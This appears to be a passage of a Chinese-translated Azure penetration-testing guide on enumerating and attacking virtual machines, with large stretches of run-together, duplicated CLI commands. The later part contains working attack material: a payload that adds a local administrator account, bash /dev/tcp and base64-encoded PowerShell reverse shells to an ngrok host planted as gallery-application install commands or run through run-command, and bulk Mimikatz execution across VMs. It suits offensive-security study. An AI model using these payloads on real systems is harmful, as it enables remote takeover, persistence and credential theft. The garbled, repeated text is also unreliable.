一个 restore point 存储 VM 配置和 时间点 应用程序一致的 所有托管磁盘的快照。它与 VM 相关,其目的是能够将该 VM 恢复到特定时间点的状态。
# Shared Image Galleries | Compute Galleries## List all galleries and get info about oneazsiglist--outputtableazsigshow--gallery-name<name>--resource-group<rsc-group>## List all community galleriesazsiglist-community--outputtable## List galleries shaerd with meazsiglist-shared--location<location>--outputtable## List all image definitions in a gallery and get info about oneazsigimage-definitionlist--gallery-name<name>--resource-group<rsc-group>--outputtableazsigimage-definitionshow--gallery-image-definition<name>--gallery-name<gallery-name>--resource-group<rsc-group>## List all the versions of an image definition in a galleryazsigimage-versionlist--gallery-image-name<image-name>--gallery-name<gallery-name>--resource-group<rsc-group--outputtable## List all VM applications inside a galleryazsiggallery-applicationlist--gallery-name<gallery-name>--resource-group<res-group>--outputtable# Images# List all managed images in your subscriptionazimagelist--outputtable# Restore points## List all restore points and get info about 1azrestore-pointcollectionlist-all--outputtableazrestore-pointcollectionshow--collection-name<collection-name>--resource-group<rsc-group>
# VMs## List all VMs and get info about oneazvmlist--outputtableazvmshow--name<came>--resource-group<rsc-group>## List all available VM images and get info about oneazvmimagelist--all--outputtable# VM Extensions## List all VM extensionsazvmextensionimagelist--outputtable## Get extensions by publisherazvmextensionimagelist--publisher"Site24x7"--outputtable## List extensions in a VMazvmextensionlist-g<rsc-group>--vm-name<vm-name>## List managed identities in a VMazvmidentityshow \--resource-group <rsc-group> \--name <vm-name># Disks## List all disks and get info about oneazdisklist--outputtableazdiskshow--name<disk-name>--resource-group<rsc-group># Snapshots## List all galleries abd get info about oneazsiglist--outputtableazsigshow--gallery-name<name>--resource-group<rsc-group>## List all snapshots and get info about oneazsnapshotlist--outputtableazsnapshotshow--name<name>--resource-group<rsc-group># Shared Image Galleries | Compute Galleries## List all galleries and get info about oneazsiglist--outputtableazsigshow--gallery-name<name>--resource-group<rsc-group>## List all community galleriesazsiglist-community--outputtable## List galleries shared with meazsiglist-shared--location<location>--outputtable## List all image definitions in a gallery and get info about oneazsigimage-definitionlist--gallery-name<name>--resource-group<rsc-group>--outputtableazsigimage-definitionshow--gallery-image-definition<name>--gallery-name<gallery-name>--resource-group<rsc-group>## List all the versions of an image definition in a galleryazsigimage-versionlist--gallery-image-name<image-name>--gallery-name<gallery-name>--resource-group<rsc-group--outputtable## List all VM applications inside a galleryazsiggallery-applicationlist--gallery-name<gallery-name>--resource-group<res-group>--outputtable# Images# List all managed images in your subscriptionazimagelist--outputtable# Restore points## List all restore points and get info about 1azrestore-pointcollectionlist-all--outputtableazrestore-pointcollectionshow--collection-name<collection-name>--resource-group<rsc-group># Bastion## list all bastionsaznetworkbastionlist-otable# Network## List VNetsaznetworkvnetlist--query"[].{name:name, location:location, addressSpace:addressSpace}"## List subnets of a VNetaznetworkvnetsubnetlist--resource-group<ResourceGroupName>--vnet-name<VNetName>--query"[].{name:name, addressPrefix:addressPrefix}"-otable## List public IPsaznetworkpublic-iplist--outputtable## Get NSG rulesaznetworknsgrulelist--nsg-name<NSGName>--resource-group<ResourceGroupName>--query"[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}"-otable## Get NICs and subnets using this NSGaznetworknsgshow--nameMyLowCostVM-nsg--resource-groupResource_Group_1--query"{subnets: subnets, networkInterfaces: networkInterfaces}"## List all Nics & get info of a single oneaznetworkniclist--outputtableaznetworknicshow--name<name>--resource-group<rsc-group>## List Azure Firewallsaznetworkfirewalllist--query"[].{name:name, location:location, subnet:subnet, publicIp:publicIp}"-otable## Get network rules of a firewallaznetworkfirewallnetwork-rulecollectionlist--firewall-name<FirewallName>--resource-group<ResourceGroupName>--query"[].{name:name, rules:rules}"-otable## Get application rules of a firewallaznetworkfirewallapplication-rulecollectionlist--firewall-name<FirewallName>--resource-group<ResourceGroupName>--query"[].{name:name, rules:rules}"-otable## Get nat rules of a firewallaznetworkfirewallnat-rulecollectionlist--firewall-name<FirewallName>--resource-group<ResourceGroupName>--query"[].{name:name, rules:rules}"-otable## List Route Tablesaznetworkroute-tablelist--query"[].{name:name, resourceGroup:resourceGroup, location:location}"-otable## List routes for a tableaznetworkroute-tableroutelist--route-table-name<RouteTableName>--resource-group<ResourceGroupName>--query"[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}"-otable# Misc## List all virtual machine scale setsazvmsslist--outputtable## List all availability setsazvmavailability-setlist--outputtable## List all load balancersaznetworklblist--outputtable## List all storage accountsazstorageaccountlist--outputtable## List all custom script extensions on a specific VMazvmextensionlist--vm-name<vm-name>--resource-group<resource-group># Show boot diagnostics settings for a specific VMazvmboot-diagnosticsget-boot-log--name<vm-name>--resource-group<resource-group>## List all tags on virtual machinesazresourcelist--resource-type"Microsoft.Compute/virtualMachines"--query"[].{Name:name, Tags:tags}"--outputtable# List all available run commands for virtual machinesazvmrun-commandlist--outputtable
# Get readable VMsGet-AzVM| fl# Lis running VMsGet-AzureRmVM-status |where {$_.PowerState-EQ"VM running"} | select ResourceGroupName,NameGet-AzVM-Name <name>-ResourceGroupName <res_group_name>| fl *Get-AzVM-Name <name>-ResourceGroupName <res_group_name>| select -ExpandProperty NetworkProfile# Get iface and IP addressGet-AzNetworkInterface-Name <interface_name>Get-AzPublicIpAddress-Name <iface_public_ip_id>#Get installed extensionsGet-AzVMExtension-ResourceGroupName <res_group_name>-VMName <name>Get-AzVM| select -ExpandProperty NetworkProfile # Get name of network connector of VMGet-AzNetworkInterface-Name <name># Get info of network connector (like IP)
您还可以执行其他有效负载,例如: powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add
使用 VMAccess 扩展重置密码
# Run VMAccess extension to reset the password$cred=Get-Credential# Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the passwordSet-AzVMAccessExtension-ResourceGroupName "<rsc-group>"-VMName "<vm-name>"-Name "myVMAccess"-Credential $cred
# Run VMAccess extension to reset the password$cred=Get-Credential# Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the passwordSet-AzVMAccessExtension-ResourceGroupName "<rsc-group>"-VMName "<vm-name>"-Name "myVMAccess"-Credential $cred
DesiredConfigurationState (DSC)
这是一个属于微软的虚拟机扩展,使用 PowerShell DSC 来管理 Azure Windows 虚拟机的配置。因此,可以通过此扩展在 Windows 虚拟机中执行任意命令:
# List all galleries in resource groupazsiglist--resource-group<res-group>--outputtable# List all apps in a falleryazsiggallery-applicationlist--gallery-name<gallery-name>--resource-group<res-group>--outputtable
# Create gallery (if the isn't any)azsigcreate--resource-groupmyResourceGroup \--gallery-name myGallery--location"West US 2"# Create application containerazsiggallery-applicationcreate \--application-name myReverseShellApp \--gallery-name myGallery \--resource-group <rsc-group> \--os-type Linux \--location "West US 2"# Create app version with the rev shell## In Package file link just add any link to a blobl storage fileazsiggallery-applicationversioncreate \--version-name 1.0.2 \--application-name myReverseShellApp \--gallery-name myGallery \--location "West US 2" \--resource-group <rsc-group> \--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"# Install the app in a VM to execute the rev shell## Use the ID given in the previous outputazvmapplicationset \--resource-group <rsc-group> \--name <vm-name> \--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \--treat-deployment-as-failure true
# Create gallery (if the isn't any)azsigcreate--resource-group<rsc-group> \--gallery-name myGallery--location"West US 2"# Create application containerazsiggallery-applicationcreate \--application-name myReverseShellAppWin \--gallery-name myGallery \--resource-group <rsc-group> \--os-type Windows \--location "West US 2"# Get encoded reverse shellecho -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
# Create app version with the rev shell## In Package file link just add any link to a blobl storage fileexport encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
azsiggallery-applicationversioncreate \--version-name 1.0.0 \--application-name myReverseShellAppWin \--gallery-name myGallery \--location "West US 2" \--resource-group <rsc-group> \--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \--install-command "powershell.exe -EncodedCommand $encodedCommand" \--remove-command "powershell.exe -EncodedCommand $encodedCommand" \--update-command "powershell.exe -EncodedCommand $encodedCommand"# Install the app in a VM to execute the rev shell## Use the ID given in the previous outputazvmapplicationset \--resource-group <rsc-group> \--name deleteme-win4 \--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \--treat-deployment-as-failure true
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action# Execute a rev shellazvmrun-commandinvoke \--resource-group Research \--name juastavm \--command-id RunPowerShellScript \--scripts @revshell.ps1## Get encoded reverse shellecho -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
## Create app version with the rev shell## In Package file link just add any link to a blobl storage fileexport encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
# The content ofecho"powershell.exe -EncodedCommand $encodedCommand">revshell.ps1# Try to run in every machineImport-moduleMicroBurst.psm1Invoke-AzureRmVMBulkCMD-ScriptMimikatz.ps1-Verbose-outputOutput.txt